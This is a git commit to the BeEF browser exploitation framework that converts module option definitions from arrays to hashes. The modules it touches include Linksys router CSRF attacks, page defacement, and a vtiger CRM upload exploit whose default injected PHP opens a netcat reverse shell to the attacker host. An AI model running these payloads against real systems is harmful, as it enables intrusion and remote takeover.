The superfluous JSON array (of size one) wrapping a hash in each input element has been removed. Thus, there is no need for the following instruction with each element: if(typeof input[0] == 'object') { input = input[0]; }

git-svn-id: https://beef.googlecode.com/svn/trunk@700 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2011-01-18 12:53:56 +00:00
parent 5091936773
commit 9d90813240
19 changed files with 66 additions and 67 deletions

View File

@@ -76,14 +76,14 @@ class Msf < BeEF::Command
msfoptions.keys.each { |k|
next if msfoptions[k]['advanced'] == true
next if msfoptions[k]['evasion'] == true
@info['Data'] << [ 'name' => k + '_txt', 'type' => 'label', 'html' => msfoptions[k]['desc']]
@info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'html' => msfoptions[k]['desc']}
case msfoptions[k]['type']
when "string","address","port"
@info['Data'] << ['name' => k , 'ui_label' => k, 'value' => msfoptions[k]['default']]
@info['Data'] << {'name' => k , 'ui_label' => k, 'value' => msfoptions[k]['default']}
when "bool"
@info['Data'] << ['name' => k, 'type' => 'checkbox', 'ui_label' => k ]
@info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k }
when "enum"
@info['Data'] << [ 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => msfoptions[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => msfoptions[k]['default']]
@info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => msfoptions[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => msfoptions[k]['default']}
else
print "K => #{k}\n"
print "Status => #{msfoptions[k]['advanced']}\n"
@@ -97,7 +97,7 @@ class Msf < BeEF::Command
pl << [p]
}
@info['Data'] << [ 'name' => 'Payload',
@info['Data'] << { 'name' => 'Payload',
'type' => 'combobox',
'ui_label' => 'Payload',
'store_type' => 'arraystore',
@@ -108,7 +108,7 @@ class Msf < BeEF::Command
'autoWidth' => true,
'mode' => 'local',
'reloadOnChange' => true, # this will trigger a reload of the payload options
'emptyText' => "select a payload..."]
'emptyText' => "select a payload..."}
end
@@ -124,14 +124,14 @@ class Msf < BeEF::Command
payload_options.keys.each { |k|
next if payload_options[k]['advanced'] == true
next if payload_options[k]['evasion'] == true
info['Data'] << [ 'name' => k + '_txt', 'type' => 'label', 'html' => payload_options[k]['desc']]
info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'html' => payload_options[k]['desc']}
case payload_options[k]['type']
when "string","address","port","raw","path"
info['Data'] << ['name' => k , 'ui_label' => k, 'value' => payload_options[k]['default']]
when "string","address","port","raw","path", "integer"
info['Data'] << {'name' => k , 'ui_label' => k, 'value' => payload_options[k]['default']}
when "bool"
info['Data'] << ['name' => k, 'type' => 'checkbox', 'ui_label' => k ]
info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k }
when "enum"
info['Data'] << [ 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => payload_options[k]['default']]
info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => payload_options[k]['default']}
else
# Debug output if the payload option type isn't found
puts "K => #{k}\n"
@@ -145,6 +145,8 @@ class Msf < BeEF::Command
payload_options_json = []
payload_options_json[1] = JSON.parse(info.to_json)
JSON.parse(info.to_json)
end
end

View File

@@ -11,7 +11,7 @@ class Detect_visited_urls < BeEF::Command
'Category' => 'Browser',
'Author' => ['passbe'],
'Data' => [
['ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
{ 'ui_label'=>'URL(s)', 'name'=>'urls', 'type'=>'textarea', 'value'=>'http://www.bindshell.net/', 'width'=>'200px' }
],
'File' => __FILE__
})

View File

@@ -11,8 +11,8 @@ class Link_rewrite < BeEF::Command
'Category' => 'Browser',
'Author' => ['passbe'],
'Data' => [
['ui_label'=>'URL', 'name'=>'url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px'],
['ui_label'=>'jQuery Selector', 'name'=>'selector', 'value'=>'a', 'width'=>'200px']
{ 'ui_label'=>'URL', 'name'=>'url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px' },
{ 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'value'=>'a', 'width'=>'200px' }
],
'File' => __FILE__
})

View File

@@ -11,7 +11,7 @@ class Site_redirect < BeEF::Command
'Category' => 'Browser',
'Author' => ['wade', 'vo'],
'Data' => [
['ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
{ 'ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px' }
],
'File' => __FILE__
})

View File

@@ -15,9 +15,9 @@ class Site_redirect_iframe < BeEF::Command
'Category' => 'Browser',
'Author' => ['ethicalhack3r, Yori Kvitchko'],
'Data' => [
['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'],
['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'],
['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px']
{ 'name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px' },
{ 'name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px' },
{ 'name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' }
],
'File' => __FILE__
})

View File

@@ -16,14 +16,9 @@ class Iphone_skype < BeEF::Command
The protocol handler used will be: skype',
'Category' => 'Host',
'Author' => 'xntrik, Nitesh Dhanjani',
'Data' =>
[
[ 'name' => 'tel_num',
'ui_label'=>'Number',
'value' =>'5551234',
'width' => '200px'
],
],
'Data' => [
{ 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234', 'width' => '200px' }
],
'File' => __FILE__
})

View File

@@ -17,14 +17,9 @@ class Iphone_tel < BeEF::Command
The protocol handler used will be: tel',
'Category' => 'Host',
'Author' => 'xntrik, Nitesh Dhanjani',
'Data' =>
[
[ 'name' => 'tel_num',
'ui_label'=>'Number',
'value' =>'5551234',
'width' => '200px'
],
],
'Data' => [
{ 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' },
],
'File' => __FILE__
})

View File

@@ -14,7 +14,9 @@ class Alert_dialog < BeEF::Command
'Description' => 'Sends an alert dialog to the victim',
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [['name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px']],
'Data' => [
{'name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px'}
],
'File' => __FILE__
})

View File

@@ -14,16 +14,9 @@ class Deface_web_page < BeEF::Command
'Description' => 'Overwrite the body of the page the victim is on with the "Deface Content" string',
'Category' => 'Misc',
'Author' => 'antisnatchor',
'Data' =>
[
[ 'name' => 'deface_content',
'ui_label'=>'Deface Content',
'type' => 'textarea',
'value' =>'Defaced!',
'width' => '400px',
'height' => '100px'
],
],
'Data' => [
{ 'name' => 'deface_content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'Defaced!', 'width' => '400px', 'height' => '100px' },
],
'File' => __FILE__
})

View File

@@ -10,7 +10,9 @@ class Prompt_dialog < BeEF::Command
'Description' => 'Sends a prompt dialog to the victim',
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [['name' =>'question', 'ui_label'=>'Prompt text']],
'Data' => [
{'name' =>'question', 'ui_label'=>'Prompt text'}
],
'File' => __FILE__
})

View File

@@ -17,9 +17,7 @@ class Raw_javascript < BeEF::Command
'Author' => ['wade','vo'],
'Data' =>
[
['name' => 'cmd', 'ui_label' => 'Javascript Code',
'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';",
'type' => 'textarea', 'width' => '400px', 'height' => '100px'],
{'name' => 'cmd', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px'},
],
'File' => __FILE__
})

View File

@@ -16,8 +16,8 @@ class Replace_video < BeEF::Command
'Author' => 'Yori Kvitchko',
'Data' =>
[
['name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'],
['name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px']
{'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'},
{'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'}
],
'File' => __FILE__
})

View File

@@ -14,7 +14,11 @@ class Befsr41_csrf < BeEF::Command
'Description' => 'Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.',
'Category' => 'Network',
'Author' => 'Martin Barbella',
'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']],
'Data' => [
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'},
{'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'},
{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
],
'File' => __FILE__
})

View File

@@ -14,7 +14,11 @@ class Wrt54g2_csrf < BeEF::Command
'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.',
'Category' => 'Network',
'Author' => 'Martin Barbella',
'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']],
'Data' => [
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'},
{'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'},
{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
],
'File' => __FILE__
})

View File

@@ -14,7 +14,11 @@ class Wrt54g_csrf < BeEF::Command
'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G router.',
'Category' => 'Network',
'Author' => 'Martin Barbella',
'Data' => [['name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'], ['name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'], ['name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__']],
'Data' => [
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'},
{'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'},
{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
],
'File' => __FILE__
})

View File

@@ -24,10 +24,10 @@ class Vtiger_crm_upload_exploit < BeEF::Command
'Author' => ['wade', 'bm', 'pipes', 'xntrik'],
'Data' =>
[
['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'],
['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'],
['name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'],
['name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000']
{'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'},
{'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'},
{'name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'},
{'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'}
],
'File' => __FILE__
})

View File

@@ -12,7 +12,9 @@ class Detect_cookies < BeEF::Command
This module will check if the browser allows a cookie with specified name to be set.
},
'Category' => 'Recon',
'Data' => [['name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie']],
'Data' => [
{'name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie'}
],
'Author' => ['vo'],
'File' => __FILE__
})

View File

@@ -10,10 +10,9 @@ class Detect_tor < BeEF::Command
'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).',
'Category' => 'Recon',
'Author' => ['pdp', 'wade', 'bm', 'xntrik'],
'Data' =>
[
['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000']
],
'Data' => [
{'name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'}
],
'File' => __FILE__
})

View File

@@ -15,10 +15,6 @@ var re_execute_command_title = 'Re-execute command'
function genExploitFormControl(form, input, value, disabled, zombie, sb) {
var input_field = null;
var input_def = null;
if(typeof input[0] == 'object') {
input = input[0];
}
if (!input['ui_label']) input['ui_label'] = input['name'];
if (!input['type']) input['type'] = 'textfield';
@@ -35,6 +31,9 @@ function genExploitFormControl(form, input, value, disabled, zombie, sb) {
// create the input field object based upon the type supplied
switch(input['type'].toLowerCase()) {
case 'textfield':
input_field = new Ext.form.TextField(input_def);
break;
case 'textarea':
input_field = new Ext.form.TextArea(input_def);
break;